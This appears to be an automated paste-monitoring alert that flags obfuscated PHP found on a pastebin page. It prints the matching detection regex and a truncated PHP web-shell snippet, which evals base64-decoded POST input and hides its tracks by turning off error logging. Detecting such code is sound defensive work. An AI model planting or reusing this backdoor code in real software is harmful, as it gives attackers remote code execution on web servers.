Potential leak of data: Obfuscated PHP Code

Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php eval(base64_decode($_POST['n8743bb']));?> <?php @error_reporting(0); @ini_set(chr(101).chr(114).'ror_log',NULL); @ini_set('log_errors',0); if(count($_POST) < 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $SomeGlobalVar = false; fo Source: http://pastebin.com/raw.php?i=QauiswmE